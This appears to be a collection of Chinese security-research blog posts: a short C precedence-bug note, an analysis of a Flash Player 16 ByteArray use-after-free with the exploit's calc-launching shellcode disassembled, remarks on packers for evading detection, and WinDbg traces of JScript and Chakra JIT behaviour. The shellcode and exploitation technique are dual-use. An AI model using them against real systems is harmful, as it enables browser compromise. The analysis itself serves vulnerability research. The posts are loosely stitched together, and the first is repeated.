&优先级错了 搞了个大新闻
某日惊闻代码出了个bug,后来仔细一看问题出在
bRet = ((verInfo->dwFileVersionMS >> 16) & 0xffff == 1);
仔细一看傻逼了,==的优先级比&高,改成
bRet = (((verInfo->dwFileVersionMS >> 16) & 0xffff) == 1);
之后问题解决
结论 太懒也是不行的啊。。
某日惊闻代码出了个bug,后来仔细一看问题出在
bRet = ((verInfo->dwFileVersionMS >> 16) & 0xffff == 1);
仔细一看傻逼了,==的优先级比&高,改成
bRet = (((verInfo->dwFileVersionMS >> 16) & 0xffff) == 1);
之后问题解决
结论 太懒也是不行的啊。。
不幸被截胡……文章发这儿吧………
content
1 触发原因 (来自Readme)
2 Win7+IE10+FLASH 16调试
3 shellcode
4 效果展示
1 漏洞触发原因
来自ReadMe:
在Flash中定义的ByteArray()对象,在里面添加一个数字类型的值,接着,向里面写入一个对象。
这个时候,AS3会显式调用MyClass的valueOf()方法,而valueOf方法可以重载,例如用户代码可以在代码中重载valueOf并设定对象的长度。
此时,该valueOf实际上会导致flash先保存之前的buffer指针,然后触发分配新内存时,之前保存的buffer实际上就无效了,但是后面toInteger依然会向之前的地址写入内容,写入内容可控,因此导致Uaf的发生。
2 实际例子
在Windows 7 x86+Flash Player 16.0+IE 10中调试如下,在泄露出的Swf的例子中,valueOf这里的反汇编代码为:
_ba.length=0x1100:
自带的 readme中精简了不少,但差不多也是这个意思
当这个valueOf返回0x40时,事实上0x40写入的是原来的Buffer的地址(old edi),而在循环new Vector.
被释放的ByteArray的Length部分的第一个字节被修改为了0x40,使得它的Length变为了0x4000030f
这样,引用这个vector的时候事实上可以访问非常大的内存空间,至此就转换成了经典的利用vector来搜索全内存的利用方式了。
3 shellcode
该swf使用的shellcode如下,使用CreateProcessA创建calc.exe。考虑到通用性,函数都是地址现场取的,前面的几个常量一看便知:
0:026> uf 0x43bb1b8
Flow analysis was incomplete, some code may be missing
043bb1b8 55 push ebp
043bb1b9 8bec mov ebp,esp
043bb1bb 83c4ac add esp,0FFFFFFACh
043bb1be 53 push ebx
043bb1bf 51 push ecx
043bb1c0 57 push edi
043bb1c1 648b0530000000 mov eax,dword ptr fs:[30h]
043bb1c8 8b400c mov eax,dword ptr [eax+0Ch]
043bb1cb 8b400c mov eax,dword ptr [eax+0Ch]
043bb1ce 8b00 mov eax,dword ptr [eax]
043bb1d0 8b00 mov eax,dword ptr [eax]
043bb1d2 8b5818 mov ebx,dword ptr [eax+18h]
043bb1d5 89d8 mov eax,ebx
043bb1d7 03403c add eax,dword ptr [eax+3Ch]
043bb1da 8b5078 mov edx,dword ptr [eax+78h]
043bb1dd 01da add edx,ebx
043bb1df 8b7a20 mov edi,dword ptr [edx+20h]
043bb1e2 01df add edi,ebx
043bb1e4 31c9 xor ecx,ecx
this article comes from www.nul.pw author blast
043bb1e6 8b07 mov eax,dword ptr [edi]
043bb1e8 01d8 add eax,ebx
043bb1ea 813843726561 cmp dword ptr [eax],61657243h ;Crea
043bb1f0 751c jne 043bb20e
043bb1f2 81780b73734100 cmp dword ptr [eax+0Bh],417373h ;ssA //CreateProcessA
043bb1f9 7513 jne 043bb20e
043bb1fb 8b4224 mov eax,dword ptr [edx+24h]
043bb1fe 01d8 add eax,ebx
043bb200 0fb70448 movzx eax,word ptr [eax+ecx*2]
043bb204 8b521c mov edx,dword ptr [edx+1Ch]
043bb207 01da add edx,ebx
043bb209 031c82 add ebx,dword ptr [edx+eax*4]
043bb20c eb09 jmp 043bb217
043bb20e 83c704 add edi,4
043bb211 41 inc ecx
043bb212 3b4a18 cmp ecx,dword ptr [edx+18h]
043bb215 7ccf jl 043bb1e6
043bb217 8d45f0 lea eax,[ebp-10h]
043bb21a 50 push eax
043bb21b 8d7dac lea edi,[ebp-54h]
043bb21e 57 push edi
043bb21f 31c0 xor eax,eax
043bb221 b911000000 mov ecx,11h
043bb226 f3ab rep stos dword ptr es:[edi]
043bb228 c745ac44000000 mov dword ptr [ebp-54h],44h
043bb22f 50 push eax
043bb230 50 push eax
043bb231 50 push eax
043bb232 50 push eax
043bb233 50 push eax
043bb234 50 push eax
043bb235 e809000000 call 043bb243
043bb23a 63616c arpl word ptr [ecx+6Ch],sp
043bb23d 632e arpl word ptr [esi],bp
043bb23f 657865 js 043bb2a7
043bb242 0050ff add byte ptr [eax-1],dl
043bb245 d35f59 rcr dword ptr [edi+59h],cl
043bb248 5b pop ebx
043bb249 c1e003 shl eax,3
043bb24c 83c006 add eax,6
043bb24f c9 leave
043bb250 c3 ret
4 效果
图:Win7 IE9启动了calc.exe
使用Mutant的话增加的那节简直不能忍啊,所有打出来的都一样,看来它也就是防破解,并不能做到和当年的Swizzor木马一样牛逼的折腾到全PE特征变化的地步。
但是virtualization似乎是一个不错的选择,VMP会生成一大堆的虚拟机,每个虚拟机对应自己一套bytecode,和jscript 5似的的dispatch interpreter,蛋疼的是它的bytecode是随机生成的,也就是说编译结果也是歪七扭八的,这个倒是我想要的,先就用这个好了,等我发现一些奇怪的特征之后再想办法抛弃这套加密逻辑。
参考资料:
http://www.openrce.org/blog/view/1238/VMProtect,_Part_0:__Basics
做一个测试,看看各种情形下两个编译出来的是否一样
测试结果:对比VC2010的优化(OX),Chakra的优化更像是:
Debug
<---Chakra 大概是这个水平
Release O
具体的现象是:明显比Debug的优化要好,出现了大量常量预先计算、switch分支优化、if分支优化的内容。
但是还有一点比较像Debug,那就是它每一条语句干了什么都有所保留,比如在Release O2中
void foo(){
int a = 1;
a = 2;
a ++;
}
直接会被全部优化掉,顶多留一个foo()的空壳,而在Debug中则类似是
void foo(){
int a = 1;
a = 2;
a = a + 1;
}
在Chakra中则类似是
void foo(){
int a = 1;
a = 2;
a = 3; //预先计算
}
1、在IE11的Chakra的常量编译中,Chakra采用了如下策略:
2、生成的字节码中间还有一大堆nop,防止预测字节码生成位置;
wsh中:
0:000> kvn
# ChildEBP RetAddr Args to Child
00 0032ec34 72ff2ea6 00000000 00184f48 00183240 jscript!CScriptRuntime::Run+0x14d (FPO: [Non-Fpo])
01 0032ed20 72ff2d19 00000000 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0x170 (FPO: [Non-Fpo])
02 0032ed6c 72ff3317 00000000 00000000 00000000 jscript!ScrFncObj::Call+0x7b (FPO: [Non-Fpo])
03 0032ee00 72fffb9f 00184f48 00000000 00000000 jscript!CSession::Execute+0x1f6 (FPO: [SEH])
04 0032ee64 72ffdd02 00000000 00000000 0032f8dc jscript!COleScript::ExecutePendingScripts+0x293 (FPO: [2,13,4])
*** ERROR: Module load completed but symbols could not be loaded for wscript.exe
05 0032ee80 003919ee 00183290 00000001 0039199c jscript!COleScript::SetScriptState+0x51 (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
06 0032eea0 00391499 00821a04 80000001 0032f698 wscript+0x19ee
07 0032f0d8 003933b4 0032f34c 00000000 00181a40 wscript+0x1499
08 0032f67c 00393189 00390000 00000001 00181a38 wscript+0x33b4
09 0032f920 003930fa 00000002 00000000 00000000 wscript+0x3189
0a 0032f948 00392f93 00390000 00000000 00000000 wscript+0x30fa
0b 0032f9a8 756d336a 7efde000 0032f9f4 77ae92b2 wscript+0x2f93
0c 0032f9b4 77ae92b2 7efde000 5829e8d8 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0d 0032f9f4 77ae9285 00392f3b 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0e 0032fa0c 00000000 00392f3b 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
IE8或者WSH会使用旧的JScript.dll来解释JS,JScript 5.8之后的版本号重新计算,改成了JScript 9.0,随IE9发布,工程代号Chakra。
JScript执行引擎是简单的switch-threading解释器,也就是上述栈的jscript!CScriptRuntime::Run。jscript.dll中switch被编译为一个table-based dispatch,上层调用栈也显示在上面的栈回溯里面了。
以具体的例子为例,在JScript.dll (WSH)中,
var j=0x11223344;
var k=0x44556677;
var l=0x88888888;
l=k+j;
代码的解释是靠CScriptRuntime::Run来解释的:
0:000>
eax=00000003 ebx=0032ec4c ecx=0000004f edx=001865c0 esi=001865b0 edi=00000003
eip=7300a0f9 esp=0032e8c0 ebp=0032ec34 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
jscript!CScriptRuntime::Run+0xf35:
7300a0f9 8b4e18 mov ecx,dword ptr [esi+18h] ds:002b:001865c8=44556677
0:000>
eax=00000003 ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a0fc esp=0032e8c0 ebp=0032ec34 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
jscript!CScriptRuntime::Run+0xf38:
7300a0fc 894dd4 mov dword ptr [ebp-2Ch],ecx ss:002b:0032ec08=44556677
0:000>
eax=00000003 ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a0ff esp=0032e8c0 ebp=0032ec34 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
jscript!CScriptRuntime::Run+0xf3b:
7300a0ff 8b4608 mov eax,dword ptr [esi+8] ds:002b:001865b8=11223344
0:000>
eax=11223344 ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a102 esp=0032e8c0 ebp=0032ec34 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
jscript!CScriptRuntime::Run+0xf3e:
7300a102 03c1 add eax,ecx
0:000> p
eax=557799bb ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a104 esp=0032e8c0 ebp=0032ec34 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
jscript!CScriptRuntime::Run+0xf40:
7300a104 894618 mov dword ptr [esi+18h],eax ds:002b:001865c8=44556677
0:000> p
eax=557799bb ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a107 esp=0032e8c0 ebp=0032ec34 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
jscript!CScriptRuntime::Run+0xf43:
7300a107 8b7348 mov esi,dword ptr [ebx+48h] ds:002b:0032ec94=001865b0
0:000> p
eax=557799bb ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a10a esp=0032e8c0 ebp=0032ec34 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
jscript!CScriptRuntime::Run+0xf46:
7300a10a 8b4608 mov eax,dword ptr [esi+8] ds:002b:001865b8=11223344
0:000> p
eax=11223344 ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a10d esp=0032e8c0 ebp=0032ec34 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
jscript!CScriptRuntime::Run+0xf49:
7300a10d 8945dc mov dword ptr [ebp-24h],eax ss:002b:0032ec10=00185ab4
0:000> p
eax=11223344 ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a110 esp=0032e8c0 ebp=0032ec34 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
jscript!CScriptRuntime::Run+0xf4c:
7300a110 394618 cmp dword ptr [esi+18h],eax ds:002b:001865c8=557799bb
对比在Chakra中,
8 Id: 42dc.26fc Suspend: 1 Teb: 7efa0000 Unfrozen
# ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0357baa8 5d8c1c31 02c58da0 80000001 0357bcd0 0x5c5010e
01 0357bad8 5d8d0e7e 0357bcbc 02aa5058 0357bcd0 jscript9!Js::InterpreterStackFrame::OP_ProfiledLoopBodyStart<0,1>+0xb4 (FPO: [Non-Fpo])
02 0357bcc8 5d87cecb 02aa5060 02bc1000 02aa5000 jscript9!Js::InterpreterStackFrame::Process+0x34db (FPO: [Non-Fpo])
03 0357bddc 050a0fe9 0357bdf0 0357be28 5d8782cd jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1ce (FPO: [Non-Fpo])
04 0357bde8 5d8782cd 02c58da0 00000000 0357be60 0x50a0fe9
05 0357be28 5d878a05 00000000 00000000 10f46ebc jscript9!Js::JavascriptFunction::CallFunction<1>+0x91 (FPO: [Non-Fpo])
06 0357be9c 5d87893f 023c71a0 00000000 00000000 jscript9!Js::JavascriptFunction::CallRootFunction+0xc1 (FPO: [Non-Fpo])
07 0357bee4 5d8788bf 0357bf0c 00000000 00000000 jscript9!ScriptSite::CallRootFunction+0x42 (FPO: [Non-Fpo])
08 0357bf14 5d93ffd3 02c58da0 0357bf58 00000000 jscript9!ScriptSite::Execute+0x61 (FPO: [Non-Fpo])
09 0357bf9c 5d93eb90 0357c230 0357c250 10f41010 jscript9!ScriptEngine::ExecutePendingScripts+0x1c6 (FPO: [Non-Fpo])
0a 0357c030 5d93faca 004f44e4 05636aa4 032d4dac jscript9!ScriptEngine::ParseScriptTextCore+0x300 (FPO: [Non-Fpo])
0b 0357c080 5ff42055 023c4af8 004f44e4 05636aa4 jscript9!ScriptEngine::ParseScriptText+0x5a (FPO: [Non-Fpo])
0c 0357c0b8 5ff42190 004f44e4 00000000 00000000 MSHTML!CActiveScriptHolder::ParseScriptText+0x51 (FPO: [Non-Fpo])
0d 0357c118 5ff41e9c 004f44e4 00000000 00000000 MSHTML!CJScript9Holder::ParseScriptText+0x6c (FPO: [Non-Fpo])
0e 0357c188 5ff42dc1 00000000 032d3260 00000000 MSHTML!CScriptCollection::ParseScriptText+0x183 (FPO: [Non-Fpo])
0f 0357c274 5ff4293b 00000000 00000000 00000000 MSHTML!CScriptData::CommitCode+0x370 (FPO: [Non-Fpo])
10 0357c2f0 5ff43424 0357c318 5ff43300 056137d0 MSHTML!CScriptData::Execute+0x2a9 (FPO: [Non-Fpo])
11 0357c310 5fdad89a 056137d0 00000000 055fd148 MSHTML!CHtmScriptParseCtx::Execute+0x130 (FPO: [Non-Fpo])
12 0357c398 5fdc4ee3 2fbad84c 00000000 055fd148 MSHTML!CHtmParseBase::Execute+0x196 (FPO: [Non-Fpo])
13 0357c3b4 5fdc4c92 00000002 056137d0 5fe40e10 MSHTML!CHtmPost::Broadcast+0x153 (FPO: [Non-Fpo])
14 0357c4ec 5fe41118 2fbad84c 004e0cf0 055fd148 MSHTML!CHtmPost::Exec+0x5d9 (FPO: [Non-Fpo])
15 0357c50c 5fe4107e 2fbad84c 055fd148 004e0cf0 MSHTML!CHtmPost::Run+0x3d (FPO: [Non-Fpo])
16 0357c528 5fe494a2 055fd148 055fd148 80000000 MSHTML!PostManExecute+0x61 (FPO: [Non-Fpo])
17 0357c53c 5fe49da8 5fe49d70 0357c57c 004e0cf0 MSHTML!PostManResume+0x7b (FPO: [0,0,4])
18 0357c56c 5fe604f7 05620310 055fd148 004f4470 MSHTML!CHtmPost::OnDwnChanCallback+0x38 (FPO: [Non-Fpo])
19 0357c584 5fcad865 05620310 00000000 004e0cf0 MSHTML!CDwnChan::OnMethodCall+0x3e (FPO: [Non-Fpo])
1a 0357c5d0 5fcad18a 17da4520 00000000 5fcac290 MSHTML!GlobalWndOnMethodCall+0x16d (FPO: [Non-Fpo])
1b 0357c620 761a62fa 006c084c 00008002 00000000 MSHTML!GlobalWndProc+0x2e5 (FPO: [Non-Fpo])
1c 0357c64c 761a6d3a 5fcac290 006c084c 00008002 user32!InternalCallWinProc+0x23
1d 0357c6c4 761a77c4 00000000 5fcac290 006c084c user32!UserCallWinProcCheckWow+0x109 (FPO: [Non-Fpo])
1e 0357c724 761a788a 5fcac290 00000000 0357f900 user32!DispatchMessageWorker+0x3bc (FPO: [Non-Fpo])
1f 0357c734 631200d8 0357c774 006cc428 0049faf8 user32!DispatchMessageW+0xf (FPO: [Non-Fpo])
20 0357f900 6314d0d8 0357f9cc 6314cd50 006c4068 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464 (FPO: [Non-Fpo])
21 0357f9c0 75c4d81c 006cc428 0357f9e4 631b5f70 IEFRAME!LCIETab_ThreadProc+0x37b (FPO: [Non-Fpo])
22 0357f9d8 61823991 006c4068 00000000 00000000 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c (FPO: [Non-Fpo])
23 0357fa10 756d336a 004505e8 0357fa5c 77ae92b2 IEShims!IEShims_SetRedirectRegistryForThread+0xe1
24 0357fa1c 77ae92b2 004505e8 5b561dd4 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
25 0357fa5c 77ae9285 61823900 004505e8 ffffffff ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
26 0357fa74 00000000 61823900 004505e8 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
这些解析不出来名字的多是字节码
0:008> uf 05c50000
05c50000 55 push ebp
05c50001 8bec mov ebp,esp
05c50003 81fc64c93803 cmp esp,338C964h
05c50009 0f8f12000000 jg 05c50021
05c5000f 68a0713c02 push 23C71A0h
05c50014 6864090000 push 964h
05c50019 e8d227cf57 call jscript9!ThreadContext::ProbeCurrentStack (5d9427f0)
05c5001e 8d2424 lea esp,[esp]
05c50021 8d6424e4 lea esp,[esp-1Ch]
05c50025 57 push edi
05c50026 56 push esi
05c50027 53 push ebx
05c50028 bb006ebb02 mov ebx,2BB6E00h
05c5002d 33f6 xor esi,esi
05c5002f c605ecb6370201 mov byte ptr ds:[237B6ECh],1
05c50036 c6050ab6370203 mov byte ptr ds:[237B60Ah],3
05c5003d 8b05086ebb02 mov eax,dword ptr ds:[2BB6E08h]
05c50043 8b800c060000 mov eax,dword ptr [eax+60Ch]
05c50049 8b0d086ebb02 mov ecx,dword ptr ds:[2BB6E08h]
05c5004f 8bb908060000 mov edi,dword ptr [ecx+608h]
05c50055 c6050ab6370200 mov byte ptr ds:[237B60Ah],0
05c5005c 803decb6370201 cmp byte ptr ds:[237B6ECh],1
05c50063 0f85b1000000 jne 05c5011a
05c50069 a801 test al,1
05c5006b 0f840d000000 je 05c5007e
05c50071 8bc8 mov ecx,eax
05c50073 d1f9 sar ecx,1
05c50075 f20f2ac1 cvtsi2sd xmm0,ecx
05c50079 e911000000 jmp 05c5008f
05c5007e 813858d6865d cmp dword ptr [eax],offset jscript9!Js::JavascriptNumber::`vftable' (5d86d658)
05c50084 0f859f000000 jne 05c50129
05c5008a f20f104008 movsd xmm0,mmword ptr [eax+8]
05c5008f f7c701000000 test edi,1
05c50095 0f840d000000 je 05c500a8
05c5009b 8bc7 mov eax,edi
05c5009d d1f8 sar eax,1
05c5009f f20f2ac8 cvtsi2sd xmm1,eax
05c500a3 e911000000 jmp 05c500b9
05c500a8 813f58d6865d cmp dword ptr [edi],offset jscript9!Js::JavascriptNumber::`vftable' (5d86d658)
05c500ae 0f85b1000000 jne 05c50165
05c500b4 f20f104f08 movsd xmm1,mmword ptr [edi+8]
05c500b9 f20f58c1 addsd xmm0,xmm1
05c500bd 8b3d20763c02 mov edi,dword ptr ds:[23C7620h]
05c500c3 8d4710 lea eax,[edi+10h]
05c500c6 3b051c763c02 cmp eax,dword ptr ds:[23C761Ch]
05c500cc 0f87d9000000 ja 05c501ab
05c500d2 890520763c02 mov dword ptr ds:[23C7620h],eax
05c500d8 c70758d6865d mov dword ptr [edi],offset jscript9!Js::JavascriptNumber::`vftable' (5d86d658)
05c500de f20f114708 movsd mmword ptr [edi+8],xmm0
05c500e3 c74704c092c502 mov dword ptr [edi+4],2C592C0h
05c500ea 46 inc esi
05c500eb b85860aa02 mov eax,2AA6058h
05c500f0 8b0d046ebb02 mov ecx,dword ptr ds:[2BB6E04h]
05c500f6 83c904 or ecx,4
05c500f9 3b08 cmp ecx,dword ptr [eax]
05c500fb 0f85d7000000 jne 05c501d8
05c50101 8b0d086ebb02 mov ecx,dword ptr ds:[2BB6E08h]
05c50107 0fb74006 movzx eax,word ptr [eax+6]
05c5010b 893c81 mov dword ptr [ecx+eax*4],edi
05c5010e e9d7ffffff jmp 05c500ea
05c50113 5b pop ebx
05c50114 5e pop esi
05c50115 5f pop edi
05c50116 8be5 mov esp,ebp
05c50118 5d pop ebp
05c50119 c3 ret
05c5011a c7055c2a410204000000 mov dword ptr ds:[2412A5Ch],4
05c50124 e9a0000000 jmp 05c501c9
05c50129 f20f1145f0 movsd mmword ptr [ebp-10h],xmm0
05c5012e 8d4df8 lea ecx,[ebp-8]
05c50131 68a0713c02 push 23C71A0h
05c50136 6a01 push 1
05c50138 51 push ecx
05c50139 50 push eax
05c5013a e8a1ccda57 call jscript9!Js::JavascriptConversion::ToNumber_FromPrimitive (5d9fcde0)
05c5013f 85c0 test eax,eax
05c50141 f20f1045f0 movsd xmm0,mmword ptr [ebp-10h]
05c50146 0f850f000000 jne 05c5015b
05c5014c c7055c2a410203000000 mov dword ptr ds:[2412A5Ch],3
05c50156 e96e000000 jmp 05c501c9
05c5015b f20f1045f8 movsd xmm0,mmword ptr [ebp-8]
05c50160 e92affffff jmp 05c5008f
05c50165 f20f1145f0 movsd mmword ptr [ebp-10h],xmm0
05c5016a f20f114de8 movsd mmword ptr [ebp-18h],xmm1
05c5016f 8d45f8 lea eax,[ebp-8]
05c50172 68a0713c02 push 23C71A0h
05c50177 6a01 push 1
05c50179 50 push eax
05c5017a 57 push edi
05c5017b e860ccda57 call jscript9!Js::JavascriptConversion::ToNumber_FromPrimitive (5d9fcde0)
05c50180 85c0 test eax,eax
05c50182 f20f104de8 movsd xmm1,mmword ptr [ebp-18h]
05c50187 f20f1045f0 movsd xmm0,mmword ptr [ebp-10h]
05c5018c 0f850f000000 jne 05c501a1
05c50192 c7055c2a410203000000 mov dword ptr ds:[2412A5Ch],3
05c5019c e928000000 jmp 05c501c9
05c501a1 f20f104df8 movsd xmm1,mmword ptr [ebp-8]
05c501a6 e90effffff jmp 05c500b9
05c501ab 8d2424 lea esp,[esp]
05c501ae f20f1145f0 movsd mmword ptr [ebp-10h],xmm0
05c501b3 681c763c02 push 23C761Ch
05c501b8 e8c3a1c257 call jscript9!Js::JavascriptOperators::AllocUninitializedNumber (5d87a380)
05c501bd 8bf8 mov edi,eax
05c501bf f20f1045f0 movsd xmm0,mmword ptr [ebp-10h]
05c501c4 e90fffffff jmp 05c500d8
05c501c9 68042a4102 push 2412A04h
05c501ce e88de2d057 call jscript9!LinearScanMD::SaveAllRegistersAndBailOut (5d95e460)
05c501d3 e93bffffff jmp 05c50113
05c501d8 6a02 push 2
05c501da 68a0713c02 push 23C71A0h
05c501df 57 push edi
05c501e0 6887030000 push 387h
05c501e5 53 push ebx
05c501e6 685860aa02 push 2AA6058h
05c501eb e8307fdb57 call jscript9!Js::JavascriptOperators::PatchPutRootValueNoLocalFastPath<Js::InlineCache> (5da08120)
05c501f0 e9f5feffff jmp 05c500ea
相加操作:
05c5008a f20f104008 movsd xmm0,mmword ptr [eax+8]
....
05c500b4 f20f104f08 movsd xmm1,mmword ptr [edi+8]
05c500b9 f20f58c1 addsd xmm0,xmm1
再换个模式,如果这回不是两个变量相加,而是常数相加:
var p = 0x1122 + 0x3344;
在Charka中是:
03540050 8b0d086ee102 mov ecx,dword ptr ds:[2E16E08h]
03540056 0fb74006 movzx eax,word ptr [eax+6]
0354005a c70481cd880000 mov dword ptr [ecx+eax*4],88CDh <--
var p = 0x1122 + 0x3345;
在Charka中是:
03380045 8b0d0862e602 mov ecx,dword ptr ds:[2E66208h]
0338004b 0fb74006 movzx eax,word ptr [eax+6]
0338004f c70481cf880000 mov dword ptr [ecx+eax*4],88CFh <--
这是个很好玩的东西,既然88CX不是A+B的结果,那之后使用到它的时候会怎么样呢?紧接着使用p.toString(),看看返回什么:
0:008> bp 03680096
0:008> g
Breakpoint 0 hit
eax=5d9782f0 ebx=02d06e00 ecx=0288a0b0 edx=02d99b60 esi=05d8a4c6 edi=02d98f40
eip=03680096 esp=0390bb18 ebp=0390bb38 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
03680096 ffd0 call eax {jscript9!Js::JavascriptNumber::EntryToString (5d9782f0)}
查看esp可见:
0:008> dds esp
0390bb18 02d98f40
0390bb1c 10000001
0390bb20 000088cd
在引用该值时:
0:008>
eax=00000001 ebx=0288a0b0 ecx=0288a0b0 edx=10000001 esi=000088cd edi=00000001
eip=5d9784bd esp=0390b8d8 ebp=0390bb10 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
jscript9!Js::JavascriptNumber::EntryToString+0x90:
5d9784bd d1fe sar esi,1
0:008>
eax=00000001 ebx=0288a0b0 ecx=0288a0b0 edx=10000001 esi=00004466 edi=00000001
eip=5d9784bf esp=0390b8d8 ebp=0390bb10 iopl=0 nv up ei pl nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207
jscript9!Js::JavascriptNumber::EntryToString+0x92:
5d9784bf 8bcb mov ecx,ebx
注意esi已经是正确值了:esi=00004466
。可见有2点:一是charka采用了类似所有解释器的动作就是给常量预先计算值,二是常量相加计算后将其乘以二后加一保存起来。
再来看看另一个情况:
p = 0x1122;
p.toString();
042a004a 8b0d086e1303 mov ecx,dword ptr ds:[3136E08h]
042a0050 0fb74006 movzx eax,word ptr [eax+6]
042a0054 c7048145220000 mov dword ptr [ecx+eax*4],2245h
还是乘以二加一。
再看看2bytes以上的情况:
var k=0x11223344;
编译之后发现在使用它的时候,Charka会将它xor一个随机的值:
0334004a 8b0d086e9202 mov ecx,dword ptr ds:[2926E08h]
03340050 0fb74006 movzx eax,word ptr [eax+6]
03340054 baa6cb27de mov edx,0DE27CBA6h
03340059 81f22fad63fc xor edx,0FC63AD2Fh
0334005f 891481 mov dword ptr [ecx+eax*4],edx
03340062 e9ccffffff jmp 03340033
并在之后可能使用到的时候再xor key解开:
03340067 6a02 push 2
03340069 68d86d4902 push 2496DD8h
0334006e b846088cc8 mov eax,0C88C0846h <--xored value
03340073 35cf6ec8ea xor eax,0EAC86ECFh <--key
03340078 50 push eax
03340079 6895030000 push 395h
0334007e 53 push ebx
0334007f 6818607302 push 2736018h
03340084 e897806c5a call jscript9!Js::JavascriptOperators::PatchPutRootValueNoLocalFastPath<Js::InlineCache> (5da08120) <-- operator=
试一下分支:
var k=0x11223344;
switch (k)
{
case 0x11223344:
k = 0x33445566;
break;
case 0x33445566:
k = 0x44556677;
break;
default:
k = 0x11223344;
break;
}
03f50039 8b0d086e7802 mov ecx,dword ptr ds:[2786E08h]
03f5003f ba27753215 mov edx,15327527h
03f50044 81f2ae137637 xor edx,377613AEh
03f5004a 899108060000 mov dword ptr [ecx+608h],edx
03f50050 8b0d086e7802 mov ecx,dword ptr ds:[2786E08h]
03f50056 baceaadd4b mov edx,4BDDAACEh
03f5005b 81f20300552d xor edx,2D550003h
03f50061 899108060000 mov dword ptr [ecx+608h],edx
03f50067 e9baffffff jmp 03f50026
编译后只剩下:
var k=0x11223344;
k=0x33445566;
不得不说和VS编译器的结果都差不多了。
换一种让switch循环执行的代码,编译结果是:
0:008> uf 31e0000
031e0000 55 push ebp
031e0001 8bec mov ebp,esp
031e0003 81fc4cc92003 cmp esp,320C94Ch
031e0009 0f8f15000000 jg 031e0024
031e000f 68b0790101 push 10179B0h
031e0014 684c090000 push 94Ch
031e0019 e8d227765a call jscript9!ThreadContext::ProbeCurrentStack (5d9427f0)
031e001e 8d2424 lea esp,[esp]
031e0021 8d2424 lea esp,[esp]
031e0024 8d6424fc lea esp,[esp-4]
031e0028 57 push edi
031e0029 56 push esi
031e002a 53 push ebx
031e002b bb006e9b02 mov ebx,29B6E00h
031e0030 be008f2601 mov esi,1268F00h
031e0035 33ff xor edi,edi
031e0037 c6051cb7fc0001 mov byte ptr ds:[0FCB71Ch],1
031e003e c6053ab6fc0003 mov byte ptr ds:[0FCB63Ah],3
031e0045 8b05086e9b02 mov eax,dword ptr ds:[29B6E08h]
031e004b 8b8008060000 mov eax,dword ptr [eax+608h]
031e0051 c6053ab6fc0000 mov byte ptr ds:[0FCB63Ah],0
031e0058 803d1cb7fc0001 cmp byte ptr ds:[0FCB71Ch],1
031e005f 0f85ea000000 jne 031e014f
031e0065 47 inc edi
031e0066 a801 test al,1
031e0068 0f85fa000000 jne 031e0168
031e006e 813858d6865d cmp dword ptr [eax],offset jscript9!Js::JavascriptNumber::`vftable' (5d86d658)
031e0074 0f85fb000000 jne 031e0175
031e007a f20f104008 movsd xmm0,mmword ptr [eax+8]
031e007f f20f100d7c840101 movsd xmm1,mmword ptr ds:[101847Ch]
031e0087 660f2ec1 ucomisd xmm0,xmm1
031e008b 0f8a06000000 jp 031e0097
031e0091 0f841d000000 je 031e00b4
031e0097 f20f100d64840101 movsd xmm1,mmword ptr ds:[1018464h]
031e009f 660f2ec1 ucomisd xmm0,xmm1
031e00a3 0f8a6a000000 jp 031e0113
031e00a9 0f843a000000 je 031e00e9
031e00af e95f000000 jmp 031e0113
031e00b4 b96614a1c1 mov ecx,0C1A11466h
031e00b9 81f1abbe29a7 xor ecx,0A729BEABh
031e00bf 8bc1 mov eax,ecx
031e00c1 b928602701 mov ecx,1276028h
031e00c6 8b15046e9b02 mov edx,dword ptr ds:[29B6E04h]
031e00cc 83ca04 or edx,4
031e00cf 3b11 cmp edx,dword ptr [ecx]
